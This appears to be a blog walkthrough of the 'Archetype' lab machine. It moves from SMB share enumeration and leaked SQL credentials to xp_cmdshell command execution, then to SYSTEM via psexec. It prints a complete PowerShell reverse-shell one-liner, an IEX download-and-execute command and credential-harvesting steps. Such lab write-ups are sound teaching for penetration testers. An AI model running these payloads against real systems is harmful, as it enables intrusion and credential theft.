From MSSQL to RCE 🚀
Table of Contents
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet). In this blog we’ll try to get remote code execution by exploiting MSSQL.
Enumeration
Nmap Scan
nmap -sC -sV -oA nmap/archetype 10.10.10.27
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-10 18:22 EDT
Nmap scan report for 10.10.10.27
Host is up (0.062s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: ARCHETYPE
| NetBIOS_Domain_Name: ARCHETYPE
| NetBIOS_Computer_Name: ARCHETYPE
| DNS_Domain_Name: Archetype
| DNS_Computer_Name: Archetype
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-05-10T08:01:13
|_Not valid after: 2051-05-10T08:01:13
|_ssl-date: 2021-05-10T22:44:33+00:00; +22m10s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1h46m10s, deviation: 3h07m51s, median: 22m09s
| ms-sql-info:
| 10.10.10.27:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: Archetype
| NetBIOS computer name: ARCHETYPE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-05-10T15:44:26-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-05-10T22:44:25
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.51 seconds
Now we know the OS is Windows (Microsoft SQL Server 2017 RTM) and it has SMB (1433) port open. and lets enumerate further. Remember enumerating is the key! 🔑
Ports 445 and 1433 are open, which are associated with file sharing (SMB) and SQL Server. It is worth checking to see if anonymous access has been permitted, as file shares often store configuration files containing passwords or other sensitive information. We can use smbclient to list available shares.
smbclient -N -L 10.10.10.27
-N : Don't ask for a password
-L : Get a list of shares available on a host
Here is output 👇
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
It seems there is a share called ‘backups’ with no passwords. So let’s try to access it and see what’s inside.😎😋
smbclient -N \\\\10.10.10.27\\backups
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Jan 20 07:20:57 2020
.. D 0 Mon Jan 20 07:20:57 2020
prod.dtsConfig AR 609 Mon Jan 20 07:23:02 2020
10328063 blocks of size 4096. 8233463 blocks available
So now we are end up with SMB shell and there is a file called ‘prod.dtsConfig'. so let’s download it.
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (3.0 KiloBytes/sec) (average 3.0 KiloBytes/sec)
dir : List all directories
get <file-name> : Download file
Now we can open prod.dtsConfig file and yeah that ‘prod.dtsConfig’ file contains a SQL connection string, containing credentials for the local Windows user ARCHETYPE\sql_svc 🥂.
cat prod.dtsConfig
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
Pentesting
Now we have credentials, Let’s try connecting to the SQL Server using Impacket’s mssqlclient.py
Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself. Packets can be constructed from scratch, as well as parsed from raw data, and the object oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library.
First we need to simply wget and download the mssqlclient.py script.
wget https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/mssqlclient.py
And then run the script and check whether we are working as a sysadmin (privileged user) or not.
python3 mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@10.10.10.27 -windows-auth
Now we can use the IS_SRVROLEMEMBER function to check whether the current SQL user has sysadmin (highest level) privileges on the SQL Server.
┌──(root💀kali)-[~/tools/impacket/examples]
└─# python3 mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@10.10.10.27 -windows-auth
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
According to the return value (1 = login is a member of role.) yes we have highest privileges.😁 This will allow us to enable xp_cmdshell and gain RCE on the host.
Check below awesome blog posts to understand that trick.
-
Pentesting MSSQL - Microsoft SQL Server https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
-
MySQL Information Gathering https://sqlwiki.netspi.com/attackQueries/informationGathering/#mysql
Usage of xp_cmdshell
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"
The whoami command output trigger that the SQL Server is also running in the context of the user ARCHETYPE\sql_svc.
SQL> xp_cmdshell "whoami"
output
--------------------------------------------------------------------------------
archetype\sql_svc
NULL
However, Now we can run system commands using xp_cmdshell. why not we can get proper shell. 🤠
Hmmmmah !! what a nice smell for powershell reverse-shell ah? 😍
You can get some idea about reverse shells from below links,
-
Reverse Shell Generator https://www.revshells.com
-
Nishang framework https://github.com/samratashok/nishang
-
TCP port communications with PowerShell https://livebook.manning.com/book/powershell-deep-dives/chapter-4
But personally, I like to use Nishang’s Invoke-PowerShellTcpOneLine.ps1 to create my rev-shell.
After deleting all comments and unwanted things, powershell script will be like this. 👇
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.21',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
$sm=(New-Object Net.Sockets.TCPClient('10.10.14.21',4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
Remember: Type ifconfig tun0 and replace Your IP
Get Reverse Shell
Now time to get reverse shell. save above powershell script as script.ps1 and power up mini webserver. I’m very lazy man you know 🙄 so here I use updog instead of typing long shit in python 😑
Updog is a replacement for Python’s
SimpleHTTPServer
. It allows uploading and downloading via HTTP/S, can set ad hoc SSL certificates and use HTTP basic auth.source : https://github.com/sc0tfree/updog
┌──(root💀kali)-[~]
└─# updog
[+] Serving /root...
* Running on http://0.0.0.0:9090/ (Press CTRL+C to quit)
To listen the connection, I always use swiss army knife (netcat) tool. personally I do not like to get shell through multi handler (metasploit). Trust me using netcat tool you can learn lot of things beyond metasploit. 👽
┌──(root💀kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
Exploitation
Now we can issue the command to download and execute the reverse shell through xp_cmdshell.
EXEC xp_cmdshell 'echo IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.21:9090/script.ps1") | powershell -noprofile'
I divided up my terminal to 4 parts using Terminator.
Woooh!!! We got our shell. 💀 A shell is received as sql_svc, and we can get the user.txt on their desktop.
Privilege Escalation
To escalate privileges we can run different tools. By the way, before run any tool there are have some steps that you need to run to enumerate some information. I will be show you one by one in each walkthroughs.
Did you remember? now we are in service account called sql_svc. so it’s good practice to check recently accessed files/executed commands (Keep in mind as good practice). Mostly (default) our console history will be saved in C:\Users\<account_name>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
. Now you understand what is our next step.
Right, Let’s check above file using type command.
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
Oh no no no noooo.. You see?
The backup share is mapped with admin credentials. Remember if you saw something like this. ready to launch Impacket’s psexec.py script.
python3 psexec.py administrator:MEGACORP_4dm1n\!\!@10.10.10.27
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file biSHCDIx.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service TtHy on 10.10.10.27.....
[*] Starting service TtHy.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
Finally we have Administrator Privileges. 👌 We can now access the flag on the administrator desktop.
Thanks for reading this post, if you like my work you can support by buying me a coffee. ☕️